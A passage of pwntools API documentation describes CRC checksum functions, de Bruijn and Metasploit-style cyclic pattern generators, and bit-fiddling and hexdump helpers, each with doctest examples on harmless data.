See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-i-code

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_i_code(b'123456789'))
126
```

pwnlib.util.crc.**crc_8_itu**(*data*) → int
Calculates the crc_8_itu checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x55

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-itu

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_itu(b'123456789'))
161
```

pwnlib.util.crc.**crc_8_lte**(*data*) → int
Calculates the crc_8_lte checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-lte

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_lte(b'123456789'))
234
```

pwnlib.util.crc.**crc_8_maxim**(*data*) → int
Calculates the crc_8_maxim checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x31
- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-maxim

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_maxim(b'123456789'))
161
```

pwnlib.util.crc.**crc_8_opensafety**(*data*) → int
Calculates the crc_8_opensafety checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x2f
- width = 8
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-opensafety

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_opensafety(b'123456789'))
62
```

pwnlib.util.crc.**crc_8_rohc**(*data*) → int

Calculates the crc_8_rohc checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x7
- width = 8
- init = 0xff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-rohc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_rohc(b'123456789'))
208
```

pwnlib.util.crc.**crc_8_sae_j1850**(*data*) → int

Calculates the crc_8_sae_j1850 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1d
- width = 8
- init = 0xff
- refin = False
- refout = False
- xorout = 0xff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-sae-j1850

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_sae_j1850(b'123456789'))
75
```

`pwnlib.util.crc.`**`crc_8_wcdma`**(*data*) → int

Calculates the crc_8_wcdma checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x9b
- width = 8
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-8-wdcma

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_8_wcdma(b'123456789'))
37
```

`pwnlib.util.crc.`**`crc_a`**(*data*) → int

Calculates the crc_a checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xc6c6
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.crc-a

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(crc_a(b'123456789'))
48901
```

`pwnlib.util.crc.jamcrc(data) → int`

Calculates the jamcrc checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x4c11db7
- width = 32
- init = 0xffffffff
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.jamcrc

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(jamcrc(b'123456789'))
873187033
```

`pwnlib.util.crc.kermit(data) → int`

Calculates the kermit checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x0
- refin = True
- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.kermit

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(kermit(b'123456789'))
8585
```

`pwnlib.util.crc.modbus(data) → int`

Calculates the modbus checksum.

This is simply the `generic_crc()` with these frozen arguments:

- polynom = 0x8005
- width = 16
- init = 0xffff
- refin = True

- refout = True
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.modbus

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(modbus(b'123456789'))
19255
```

pwnlib.util.crc.**x_25**(*data*) → int

Calculates the x_25 checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0xffff
- refin = True
- refout = True
- xorout = 0xffff

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.x-25

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(x_25(b'123456789'))
36974
```

pwnlib.util.crc.**xfer**(*data*) → int

Calculates the xfer checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0xaf
- width = 32
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xfer

Parameters **data** (*str*) – The data to checksum.

Example

```
>>> print(xfer(b'123456789'))
3171672888
```

pwnlib.util.crc.**xmodem**(*data*) → int
Calculates the xmodem checksum.

This is simply the *generic_crc()* with these frozen arguments:

- polynom = 0x1021
- width = 16
- init = 0x0
- refin = False
- refout = False
- xorout = 0x0

See also: http://reveng.sourceforge.net/crc-catalogue/all.htm#crc.cat.xmodem

Parameters data (*str*) – The data to checksum.

Example

```
>>> print(xmodem(b'123456789'))
12739
```

2.37 pwnlib.util.cyclic — Generation of unique sequences

class pwnlib.util.cyclic.**cyclic_gen**(*alphabet=None, n=None*)
Creates a stateful cyclic generator which can generate sequential chunks of de Bruijn sequences.

```
>>> g = cyclic_gen() # Create a generator
>>> g.get(4) # Get a chunk of length 4
b'aaaa'
>>> g.get(4) # Get a chunk of length 4
b'baaa'
>>> g.get(8) # Get a chunk of length 8
b'caaadaaa'
>>> g.get(4) # Get a chunk of length 4
b'eaaa'
>>> g.find(b'caaa') # Position 8, which is in chunk 2 at index 0
(8, 2, 0)
>>> g.find(b'aaaa') # Position 0, which is in chunk 0 at index 0
(0, 0, 0)
>>> g.find(b'baaa') # Position 4, which is in chunk 1 at index 0
(4, 1, 0)
>>> g.find(b'aaad') # Position 9, which is in chunk 2 at index 1
(9, 2, 1)
>>> g.find(b'aada') # Position 10, which is in chunk 2 at index 2
(10, 2, 2)
>>> g.get() # Get the rest of the sequence
```

(continues on next page)

(continued from previous page)

```
b'faaagaaahaaaiaaajaaa...yyxzyzxzzyxzzzyyyyzyyzzyzyzzzz'
>>> g.find(b'racz') # Position 7760, which is in chunk 4 at index 7740
(7760, 4, 7740)
>>> g.get(12) # Generator is exhausted
Traceback (most recent call last):
  ...
StopIteration
```

```
>>> g = cyclic_gen(string.ascii_uppercase, n=8) # Custom alphabet and item size
>>> g.get(12) # Get a chunk of length 12
'AAAAAAAABAAA'
>>> g.get(18) # Get a chunk of length 18
'AAAACAAAAAAAADAAAAA'
>>> g.find('CAAAAAAA') # Position 16, which is in chunk 1 at index 4
(16, 1, 4)
```

__init__(*alphabet=None*, *n=None*)
x.__init__(...) initializes x; see help(type(x)) for signature

find(*subseq*)
Find a chunk and subindex from all the generates de Bruijn sequences.

```
>>> g = cyclic_gen()
>>> g.get(4)
b'aaaa'
>>> g.get(4)
b'baaa'
>>> g.get(8)
b'caaadaaa'
>>> g.get(4)
b'eaaa'
>>> g.find(b'caaa') # Position 8, which is in chunk 2 at index 0
(8, 2, 0)
```

get(*length=None*)
Get the next de Bruijn sequence from this generator.

```
>>> g = cyclic_gen()
>>> g.get(4) # Get a chunk of length 4
b'aaaa'
>>> g.get(4) # Get a chunk of length 4
b'baaa'
>>> g.get(8) # Get a chunk of length 8
b'caaadaaa'
>>> g.get(4) # Get a chunk of length 4
b'eaaa'
>>> g.get() # Get the rest of the sequence
b'faaagaaahaaaiaaajaaa...yyxzyzxzzyxzzzyyyyzyyzzyzyzzzz'
>>> g.get(12) # Generator is exhausted
Traceback (most recent call last):
  ...
StopIteration
```

__weakref__
list of weak references to the object (if defined)

pwnlib.util.cyclic.**_gen_find**(*subseq*, *generator*)

Returns the first position of *subseq* in the generator or -1 if there is no such position.

`pwnlib.util.cyclic.`**`cyclic`**`(`*length = None*, *alphabet = None*, *n = None*`)` → list/str

A simple wrapper over `de_bruijn()`. This function returns at most *length* elements.

If the given alphabet is a string, a string is returned from this function. Otherwise a list is returned.

Parameters

- **`length`** – The desired length of the list or None if the entire sequence is desired.
- **`alphabet`** – List or string to generate the sequence over.
- **`n`** (`int`) – The length of subsequences that should be unique.

Notes

The maximum length is *len(alphabet)**n*.

The default values for *alphabet* and *n* restrict the total space to ~446KB.

If you need to generate a longer cyclic pattern, provide a longer *alphabet*, or if possible a larger *n*.

Example

Cyclic patterns are usually generated by providing a specific *length*.

```
>>> cyclic(20)
b'aaaabaaacaaadaaaeaaa'
```

```
>>> cyclic(32)
b'aaaabaaacaaadaaaeaaafaaagaaahaaa'
```

The *alphabet* and *n* arguments will control the actual output of the pattern

```
>>> cyclic(20, alphabet=string.ascii_uppercase)
'AAAABAAACAAADAAAEAAA'
```

```
>>> cyclic(20, n=8)
b'aaaaaaaabaaaaaaacaaa'
```

```
>>> cyclic(20, n=2)
b'aabacadaeafagahaiaja'
```

The size of *n* and *alphabet* limit the maximum length that can be generated. Without providing *length*, the entire possible cyclic space is generated.

```
>>> cyclic(alphabet = "ABC", n = 3)
'AAABAACABBABCACBACCBBBCBCCC'
```

```
>>> cyclic(length=512, alphabet = "ABC", n = 3)
Traceback (most recent call last):
...
PwnlibException: Can't create a pattern length=512 with len(alphabet)==3 and n==3
```

The *alphabet* can be set in *context*, which is useful for circumstances when certain characters are not allowed. See `context.cyclic_alphabet`.

```
>>> context.cyclic_alphabet = "ABC"
>>> cyclic(10)
b'AAAABAAACA'
```

The original values can always be restored with:

```
>>> context.clear()
```

The following just a test to make sure the length is correct.

```
>>> alphabet, n = range(30), 3
>>> len(alphabet)**n, len(cyclic(alphabet = alphabet, n = n))
(27000, 27000)
```

`pwnlib.util.cyclic.`**`cyclic_find`**(*subseq*, *alphabet = None*, *n = None*) → int

Calculates the position of a substring into a De Bruijn sequence.

Parameters

- **subseq** – The subsequence to look for. This can be a string, a list or an integer. If an integer is provided it will be packed as a little endian integer.
- **alphabet** – List or string to generate the sequence over. By default, uses `context.cyclic_alphabet`.
- **n** (*int*) – The length of subsequences that should be unique. By default, uses `context.cyclic_size`.

Examples

Let's generate an example cyclic pattern.

```
>>> cyclic(16)
b'aaaabaaacaaadaaa'
```

Note that 'baaa' starts at offset 4. The *cyclic_find* routine shows us this:

```
>>> cyclic_find(b'baaa')
4
```

The *default* length of a subsequence generated by *cyclic* is *4*. If a longer value is submitted, it is automatically truncated to four bytes.

```
>>> cyclic_find(b'baaacaaa')
4
```

If you provided e.g. *n=8* to *cyclic* to generate larger subsequences, you must explicitly provide that argument.

```
>>> cyclic_find(b'baaacaaa', n=8)
3515208
```

We can generate a large cyclic pattern, and grab a subset of it to check a deeper offset.

```
>>> cyclic_find(cyclic(1000)[514:518])
514
```

Instead of passing in the byte representation of the pattern, you can also pass in the integer value. Note that this is sensitive to the selected endianness via *context.endian*.

```
>>> cyclic_find(0x61616162)
4
>>> cyclic_find(0x61616162, endian='big')
1
```

Similarly to the case where you can provide a bytes value that is longer than four bytes, you can provided an integer value that is larger than what can be held in four bytes. If such a large value is given, it is automatically truncated.

```
>>> cyclic_find(0x6161616361616162)
4
>>> cyclic_find(0x6261616163616161, endian='big')
4
```

You can use anything for the cyclic pattern, including non-printable characters.

```
>>> cyclic_find(0x00000000, alphabet=unhex('DEADBEEF00'))
621
```

`pwnlib.util.cyclic.`**`cyclic_metasploit`**(*length = None, sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]*) → str

A simple wrapper over `metasploit_pattern()`. This function returns a string of length *length*.

Parameters

- **`length`** – The desired length of the string or None if the entire sequence is desired.
- **`sets`** – List of strings to generate the sequence over.

Example

```
>>> cyclic_metasploit(32)
b'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab'
>>> cyclic_metasploit(sets = [b"AB",b"ab",b"12"])
b'Aa1Aa2Ab1Ab2Ba1Ba2Bb1Bb2'
>>> cyclic_metasploit()[1337:1341]
b'5Bs6'
>>> len(cyclic_metasploit())
20280
```

`pwnlib.util.cyclic.`**`cyclic_metasploit_find`**(*subseq, sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]*) → int

Calculates the position of a substring into a Metasploit Pattern sequence.

Parameters

- **`subseq`** – The subsequence to look for. This can be a string or an integer. If an integer is provided it will be packed as a little endian integer.
- **`sets`** – List of strings to generate the sequence over.

Examples

```
>>> cyclic_metasploit_find(cyclic_metasploit(1000)[514:518])
514
>>> cyclic_metasploit_find(0x61413161)
4
```

`pwnlib.util.cyclic.`**`de_bruijn`**(*alphabet = None*, *n = None*) → generator

Generator for a sequence of unique substrings of length *n*. This is implemented using a De Bruijn Sequence over the given *alphabet*.

The returned generator will yield up to `len(alphabet)**n` elements.

Parameters

- **alphabet** – List or string to generate the sequence over.
- **n** (*int*) – The length of subsequences that should be unique.

`pwnlib.util.cyclic.`**`metasploit_pattern`**(*sets = [string.ascii_uppercase, string.ascii_lowercase, string.digits]*) → generator

Generator for a sequence of characters as per Metasploit Framework's *Rex::Text.pattern_create* (aka *pattern_create.rb*).

The returned generator will yield up to `len(sets) * reduce(lambda x,y: x*y, map(len, sets))` elements.

Parameters **sets** – List of strings to generate the sequence over.

2.38 `pwnlib.util.fiddling` — Utilities bit fiddling

`pwnlib.util.fiddling.`**`b64d`**(*s*) → str

Base64 decodes a string

Example

```
>>> b64d('dGVzdA==')
b'test'
```

`pwnlib.util.fiddling.`**`b64e`**(*s*) → str

Base64 encodes a string

Example

```
>>> b64e(b"test")
'dGVzdA=='
```

`pwnlib.util.fiddling.`**`bits`**(*s*, *endian = 'big'*, *zero = 0*, *one = 1*) → list

Converts the argument into a list of bits.

Parameters

- **s** – A string or number to be converted into bits.
- **endian** (*str*) – The binary endian, default 'big'.
- **zero** – The representing a 0-bit.
- **one** – The representing a 1-bit.

Returns A list consisting of the values specified in *zero* and *one*.

Examples

```
>>> bits(511, zero = "+", one = "-")
['+', '+', '+', '+', '+', '+', '+', '-', '-', '-', '-', '-', '-', '-', '-', '-']
>>> sum(bits(b"test"))
17
>>> bits(0)
[0, 0, 0, 0, 0, 0, 0, 0]
```

`pwnlib.util.fiddling.`**`bits_str`**(*s*, *endian = 'big'*, *zero = '0'*, *one = '1'*) → str

A wrapper around *bits()*, which converts the output into a string.

Examples

```
>>> bits_str(511)
'0000000111111111'
>>> bits_str(b"bits_str", endian = "little")
'0100011010010110001011101100111011111010110011100010111001001110'
```

`pwnlib.util.fiddling.`**`bitswap`**(*s*) → str

Reverses the bits in every byte of a given string.

Example

```
>>> bitswap(b"1234")
b'\x8cL\xcc,'
```

`pwnlib.util.fiddling.`**`bitswap_int`**(*n*) → int

Reverses the bits of a numbers and returns the result as a new number.

Parameters

- **n** (*int*) – The number to swap.
- **width** (*int*) – The width of the integer

Examples

```
>>> hex(bitswap_int(0x1234, 8))
'0x2c'
>>> hex(bitswap_int(0x1234, 16))
'0x2c48'
>>> hex(bitswap_int(0x1234, 24))
'0x2c4800'
>>> hex(bitswap_int(0x1234, 25))
'0x589000'
```

`pwnlib.util.fiddling.`**`bnot`**(*value*, *width=None*)

Returns the binary inverse of 'value'.

`pwnlib.util.fiddling.`**`enhex`**(*x*) → str

Hex-encodes a string.

Example

```
>>> enhex(b"test")
'74657374'
```

pwnlib.util.fiddling.**hexdump**(*s*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*, *groupsize=4*, *total=True*)

hexdump(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False, groupsize=4, total = True) -> str

Return a hexdump-dump of a string.

Parameters

- **s** (*str*) – The data to hexdump.
- **width** (*int*) – The number of characters per line
- **groupsize** (*int*) – The number of characters per group
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a "*"
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte values to highlight.
- **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines
- **total** (*bool*) – Set to True, if total bytes should be printed

Returns A hexdump-dump in the form of a string.

Examples

```
>>> print(hexdump(b"abc"))
00000000  61 62 63                                          │abc│
00000003
```

```
>>> print(hexdump(b'A'*32))
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 ␣
↪│AAAA│AAAA│AAAA│AAAA│
*
00000020
```

```
>>> print(hexdump(b'A'*32, width=8))
00000000  41 41 41 41  41 41 41 41  │AAAA│AAAA│
*
00000020
```

```
>>> print(hexdump(cyclic(32), width=8, begin=0xdead0000, hexii=True))
dead0000  .a  .a  .a  .a   .b  .a  .a  .a  │
dead0008  .c  .a  .a  .a   .d  .a  .a  .a  │
dead0010  .e  .a  .a  .a   .f  .a  .a  .a  │
dead0018  .g  .a  .a  .a   .h  .a  .a  .a  │
dead0020
```

```
>>> print(hexdump(bytearray(range(256))))
00000000  00 01 02 03  04 05 06 07  08 09 0a 0b  0c 0d 0e 0f  │····│····│····│····│
00000010  10 11 12 13  14 15 16 17  18 19 1a 1b  1c 1d 1e 1f  │····│····│····│····│
00000020  20 21 22 23  24 25 26 27  28 29 2a 2b  2c 2d 2e 2f  │ !"#│$%&'│()*+│,-./│
00000030  30 31 32 33  34 35 36 37  38 39 3a 3b  3c 3d 3e 3f  │0123│4567│89:;│<=>?│
00000040  40 41 42 43  44 45 46 47  48 49 4a 4b  4c 4d 4e 4f  │@ABC│DEFG│HIJK│LMNO│
00000050  50 51 52 53  54 55 56 57  58 59 5a 5b  5c 5d 5e 5f  │PQRS│TUVW│XYZ[│\]^_│
00000060  60 61 62 63  64 65 66 67  68 69 6a 6b  6c 6d 6e 6f  │`abc│defg│hijk│lmno│
00000070  70 71 72 73  74 75 76 77  78 79 7a 7b  7c 7d 7e 7f  │pqrs│tuvw│xyz{│|}~·│
00000080  80 81 82 83  84 85 86 87  88 89 8a 8b  8c 8d 8e 8f  │····│····│····│····│
00000090  90 91 92 93  94 95 96 97  98 99 9a 9b  9c 9d 9e 9f  │····│····│····│····│
000000a0  a0 a1 a2 a3  a4 a5 a6 a7  a8 a9 aa ab  ac ad ae af  │····│····│····│····│
000000b0  b0 b1 b2 b3  b4 b5 b6 b7  b8 b9 ba bb  bc bd be bf  │····│····│····│····│
000000c0  c0 c1 c2 c3  c4 c5 c6 c7  c8 c9 ca cb  cc cd ce cf  │····│····│····│····│
000000d0  d0 d1 d2 d3  d4 d5 d6 d7  d8 d9 da db  dc dd de df  │····│····│····│····│
000000e0  e0 e1 e2 e3  e4 e5 e6 e7  e8 e9 ea eb  ec ed ee ef  │····│····│····│····│
000000f0  f0 f1 f2 f3  f4 f5 f6 f7  f8 f9 fa fb  fc fd fe ff  │····│····│····│····│
00000100
```

```
>>> print(hexdump(bytearray(range(256)), hexii=True))
00000000      01  02  03   04  05  06  07   08  09  0a  0b   0c  0d  0e  0f  │
00000010  10  11  12  13   14  15  16  17   18  19  1a  1b   1c  1d  1e  1f  │
00000020  20  .!  ."  .#   .$  .%  .&  .'   .(  .)  .*  .+   .,  .-  ..  ./  │
00000030  .0  .1  .2  .3   .4  .5  .6  .7   .8  .9  .:  .;   .<  .=  .>  .?  │
00000040  .@  .A  .B  .C   .D  .E  .F  .G   .H  .I  .J  .K   .L  .M  .N  .O  │
00000050  .P  .Q  .R  .S   .T  .U  .V  .W   .X  .Y  .Z  .[   .\  .]  .^  ._  │
00000060  .`  .a  .b  .c   .d  .e  .f  .g   .h  .i  .j  .k   .l  .m  .n  .o  │
00000070  .p  .q  .r  .s   .t  .u  .v  .w   .x  .y  .z  .{   .|  .}  .~  7f  │
00000080  80  81  82  83   84  85  86  87   88  89  8a  8b   8c  8d  8e  8f  │
00000090  90  91  92  93   94  95  96  97   98  99  9a  9b   9c  9d  9e  9f  │
000000a0  a0  a1  a2  a3   a4  a5  a6  a7   a8  a9  aa  ab   ac  ad  ae  af  │
000000b0  b0  b1  b2  b3   b4  b5  b6  b7   b8  b9  ba  bb   bc  bd  be  bf  │
000000c0  c0  c1  c2  c3   c4  c5  c6  c7   c8  c9  ca  cb   cc  cd  ce  cf  │
000000d0  d0  d1  d2  d3   d4  d5  d6  d7   d8  d9  da  db   dc  dd  de  df  │
000000e0  e0  e1  e2  e3   e4  e5  e6  e7   e8  e9  ea  eb   ec  ed  ee  ef  │
000000f0  f0  f1  f2  f3   f4  f5  f6  f7   f8  f9  fa  fb   fc  fd  fe  ##  │
00000100
```

```
>>> print(hexdump(b'X' * 64))
00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  │XXXX│XXXX│XXXX│XXXX│
```

(continues on next page)

(continued from previous page)

```
*
00000040
```

```
>>> print(hexdump(b'X' * 64, skip=False))
00000000  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪│XXXX│XXXX│XXXX│XXXX│
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪│XXXX│XXXX│XXXX│XXXX│
00000020  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪│XXXX│XXXX│XXXX│XXXX│
00000030  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪│XXXX│XXXX│XXXX│XXXX│
00000040
```

```
>>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\xff'*20}, length=0xc0) + b'\x00
↪'*32))
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  ␣
↪│aaaa│baaa│caaa│daaa│
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪│XXXX│XXXX│XXXX│XXXX│
*
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  ␣
↪│maaa│naaa│oaaa│paaa│
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  ␣
↪│qaaa│raaa│saaa│taa·│
00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff  ␣
↪│····│····│····│····│
00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62  ␣
↪│···a│zaab│baab│caab│
00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62  ␣
↪│daab│eaab│faab│gaab│
00000080  68 61 61 62  69 61 61 62  6a 61 61 62  6b 61 61 62  ␣
↪│haab│iaab│jaab│kaab│
00000090  6c 61 61 62  6d 61 61 62  6e 61 61 62  6f 61 61 62  ␣
↪│laab│maab│naab│oaab│
000000a0  70 61 61 62  71 61 61 62  72 61 61 62  73 61 61 62  ␣
↪│paab│qaab│raab│saab│
000000b0  74 61 61 62  75 61 61 62  76 61 61 62  77 61 61 62  ␣
↪│taab│uaab│vaab│waab│
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00  ␣
↪│····│····│····│····│
*
000000e0
```

```
>>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\xff'*20}, length=0xc0) + b'\x00
↪'*32, cyclic=1))
00000000  61 61 61 61  62 61 61 61  63 61 61 61  64 61 61 61  ␣
↪│aaaa│baaa│caaa│daaa│
00000010  58 58 58 58  58 58 58 58  58 58 58 58  58 58 58 58  ␣
↪│XXXX│XXXX│XXXX│XXXX│
*
00000030  6d 61 61 61  6e 61 61 61  6f 61 61 61  70 61 61 61  ␣
↪│maaa│naaa│oaaa│paaa│
00000040  71 61 61 61  72 61 61 61  73 61 61 61  74 61 61 ff  ␣
↪│qaaa│raaa│saaa│taa·│
```

(continues on next page)

(continued from previous page)

```
00000050  ff ff ff ff  ff ff ff ff  ff ff ff ff  ff ff ff ff ␣
↪│····│····│····│····│
00000060  ff ff ff 61  7a 61 61 62  62 61 61 62  63 61 61 62 ␣
↪│···a│zaab│baab│caab│
00000070  64 61 61 62  65 61 61 62  66 61 61 62  67 61 61 62 ␣
↪│daab│eaab│faab│gaab│
*
000000c0  00 00 00 00  00 00 00 00  00 00 00 00  00 00 00 00 ␣
↪│····│····│····│····│
*
000000e0
```

```
>>> print(hexdump(fit({0x10: b'X'*0x20, 0x50-1: b'\xff'*20}, length=0xc0) + b'\x00
↪'*32, cyclic=1, hexii=1))
00000000  .a  .a  .a  .a   .b  .a  .a  .a   .c  .a  .a  .a   .d  .a  .a  .a  │
00000010  .X  .X  .X  .X   .X  .X  .X  .X   .X  .X  .X  .X   .X  .X  .X  .X  │
*
00000030  .m  .a  .a  .a   .n  .a  .a  .a   .o  .a  .a  .a   .p  .a  .a  .a  │
00000040  .q  .a  .a  .a   .r  .a  .a  .a   .s  .a  .a  .a   .t  .a  .a  ##  │
00000050  ##  ##  ##  ##   ##  ##  ##  ##   ##  ##  ##  ##   ##  ##  ##  ##  │
00000060  ##  ##  ##  .a   .z  .a  .a  .b   .b  .a  .a  .b   .c  .a  .a  .b  │
00000070  .d  .a  .a  .b   .e  .a  .a  .b   .f  .a  .a  .b   .g  .a  .a  .b  │
*
000000c0                                                                     │
*
000000e0
```

```
>>> print(hexdump(b'A'*16, width=9))
00000000  41 41 41 41  41 41 41 41  41  │AAAA│AAAA│A│
00000009  41 41 41 41  41 41 41         │AAAA│AAA│
00000010
>>> print(hexdump(b'A'*16, width=10))
00000000  41 41 41 41  41 41 41 41  41 41  │AAAA│AAAA│AA│
0000000a  41 41 41 41  41 41               │AAAA│AA│
00000010
>>> print(hexdump(b'A'*16, width=11))
00000000  41 41 41 41  41 41 41 41  41 41 41  │AAAA│AAAA│AAA│
0000000b  41 41 41 41  41                     │AAAA│A│
00000010
>>> print(hexdump(b'A'*16, width=12))
00000000  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│
0000000c  41 41 41 41                            │AAAA│
00000010
>>> print(hexdump(b'A'*16, width=13))
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41  │AAAA│AAAA│AAAA│A│
0000000d  41 41 41                                   │AAA│
00000010
>>> print(hexdump(b'A'*16, width=14))
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41  │AAAA│AAAA│AAAA│AA│
0000000e  41 41                                         │AA│
00000010
>>> print(hexdump(b'A'*16, width=15))
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41  │AAAA│AAAA│AAAA│AAA│
0000000f  41                                               │A│
00000010
```

```
>>> print(hexdump(b'A'*24, width=16, groupsize=8))
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  │AAAAAAAA│AAAAAAAA│
00000010  41 41 41 41 41 41 41 41                           │AAAAAAAA│
00000018
>>> print(hexdump(b'A'*24, width=16, groupsize=-1))
00000000  41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41  │AAAAAAAAAAAAAAAA│
00000010  41 41 41 41 41 41 41 41                          │AAAAAAAA│
00000018
```

```
>>> print(hexdump(b'A'*24, width=16, total=False))
00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41 
↪│AAAA│AAAA│AAAA│AAAA│
00000010  41 41 41 41  41 41 41 41                          │AAAA│AAAA│
>>> print(hexdump(b'A'*24, width=16, groupsize=8, total=False))
00000000  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  │AAAAAAAA│AAAAAAAA│
00000010  41 41 41 41 41 41 41 41                           │AAAAAAAA│
```

`pwnlib.util.fiddling.`**`hexdump_iter`**(*fd*, *width=16*, *skip=True*, *hexii=False*, *begin=0*, *style=None*, *highlight=None*, *cyclic=False*, *groupsize=4*, *total=True*)

hexdump_iter(s, width = 16, skip = True, hexii = False, begin = 0, style = None, highlight = None, cyclic = False, groupsize=4, total = True) -> str generator

Return a hexdump-dump of a string as a generator of lines. Unless you have massive amounts of data you probably want to use *hexdump()*.

Parameters

- **fd** (*file*) – File object to dump. Use `StringIO.StringIO()` or *hexdump()* to dump a string.
- **width** (*int*) – The number of characters per line
- **groupsize** (*int*) – The number of characters per group
- **skip** (*bool*) – Set to True, if repeated lines should be replaced by a "*"
- **hexii** (*bool*) – Set to True, if a hexii-dump should be returned instead of a hexdump.
- **begin** (*int*) – Offset of the first byte to print in the left column
- **style** (*dict*) – Color scheme to use.
- **highlight** (*iterable*) – Byte values to highlight.
- **cyclic** (*bool*) – Attempt to skip consecutive, unmodified cyclic lines
- **total** (*bool*) – Set to True, if total bytes should be printed

Returns A generator producing the hexdump-dump one line at a time.

Example

```
>>> tmp = tempfile.NamedTemporaryFile()
>>> _ = tmp.write(b'XXXXHELLO, WORLD')
>>> tmp.flush()
>>> _ = tmp.seek(4)
>>> print('\n'.join(hexdump_iter(tmp)))
00000000  48 45 4c 4c  4f 2c 20 57  4f 52 4c 44              │HELL│O, W│ORLD│
0000000c
```

```
>>> t = tube()
>>> t.unrecv(b'I know kung fu')
>>> print('\n'.join(hexdump_iter(t)))
00000000  49 20 6b 6e  6f 77 20 6b  75 6e 67 20  66 75        │I kn│ow k│ung │fu│
0000000e
```

